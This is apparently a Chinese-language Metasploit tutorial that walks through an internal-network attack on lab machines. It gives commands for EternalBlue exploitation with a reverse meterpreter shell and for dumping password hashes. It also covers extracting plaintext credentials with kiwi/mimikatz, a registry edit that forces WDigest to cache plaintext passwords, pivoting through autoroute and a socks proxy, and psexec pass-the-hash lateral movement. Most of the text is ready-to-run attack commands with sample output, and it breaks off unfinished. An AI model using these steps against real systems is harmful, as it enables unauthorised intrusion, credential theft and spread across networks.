metasploit进阶

实验用的是靶机仅供参考

内网渗透 ms17_010_eternalblue 永恒之蓝 获取权限

use exploit/windows/smb/ms17_010_eternalblue 
set payload windows/x64/meterpreter/reverse_tcp 
set rhost 10.10.10.136 
set lport 4444 
exploit

内网渗透 获取hash和明文

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba8854737681
8d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > run hashdump

在最新的版本中load mimikatz已经取消 现在使用kiwi模块

load kiwi

kali机用kiwi抓取密码 也可以直接抓取管理员密码

msf提供一些后渗透的模块

load -l 来查看有哪些模块

查看当前kiwi的命令用help

help

creds_all #该命令可以列举系统中的明文密码

running as SYSTEM

kiwi_cmd

kiwi_cmd 模块可以让我们使用mimikatz的全部功能，该命令后面接 mimikatz.exe 的命令

对10.0.1.4机子进行抓密码，接着执行下面命令，就可以获取管理员密码，这个是对登陆过的账号和密码进行抓取

kiwi_cmd sekurlsa::logonpasswords

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords

在Windows2012系统及以上的系统，默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文，需要用户重新登录后才能成功抓取。

自XP以来，微软添加了一个名为WDigest的协议。该协议能够是Windows将明文密码存储在内存中，以方便用户登录本地计算机。

通过修改注册表的方式，即可解决内存中以明文存储密码的问题。在注册表添加一个键值，值为0

攻击：

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

内网渗透 psexec

横向渗透

在metasploite中存在一个psexec模块可以使用获取的hash进行登录

1.先获取内网网段信息：

meterpreter > run get_local_subnets

虽然在我们的MSF中是可以对这个内网10段进行访问的，但我们在外面是并不能进行访问的：——》添加路由

2.建立路由

所以为了让msf外面的kali 其它工具也能同样进行访问内网10段，便于我们的渗透测试，所以需要建立路由，然后建立socks通道利用工具来

进行代理访问：

meterpreter > run autoroute -s 10.10.10.0/24 
meterpreter > run autoroute -p

或者

route add 10.10.10.0 255.255.255.0 1 
route print

3.设置socks代理

建立sockes隧道

search socks #查看socks 模块
use auxiliary/server/socks_proxy #切换到这个模块

通过受害者做跳板访问目标主机

4.编辑隧道配置文件

sudo vi /etc/proxychains4.conf

5.使用代理工具访问内网

使用proxychains4工具来代理：

6.代理失败方法

如果失败，可以编辑文件proxychains4
解决方法，proxychains不要启用DNS代理：
vi /etc/proxychains4.conf

就能正常访问了

7.psexec 横向渗透

在metasploite中存在一个psexec模块可以使用获取的hash进行登录
这样我们就可以从外面访问到10.10.10.138，当我们在跳板机上通过hashdump查到了hash，我们就可以利用psexec这个模块来进行攻击，来探测密码是否一致，如果一致，那么我们就可以扩大了内网控制权，实现内网横向：

获取hash

hashdump
Administrator:500:add3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::

命令：

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp #正向连接
set RHOST 10.10.10.138 #被攻击机地址
set SMBUser administrator
set SMBPass add3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387 
show options #查看信息

ps:注意模块别选错了，捣鼓了半天发现模块选成了ms17-101/psexec。。。

设置全局代理

关于代理可看《《《第3小点》》》
虽然我们已经建立了路由，但并没有在msf中设置全局代理，所以是无法攻击成功的。

setg Proxies socks5:127.0.0.1:1080 #设置全局代理
set ReverseAllowProxy true #这个参数是因为使用全局代理，可能会导致我们的shell无法反弹，所以需要开启。

修改rhost 接着在run就行

未完待续。。。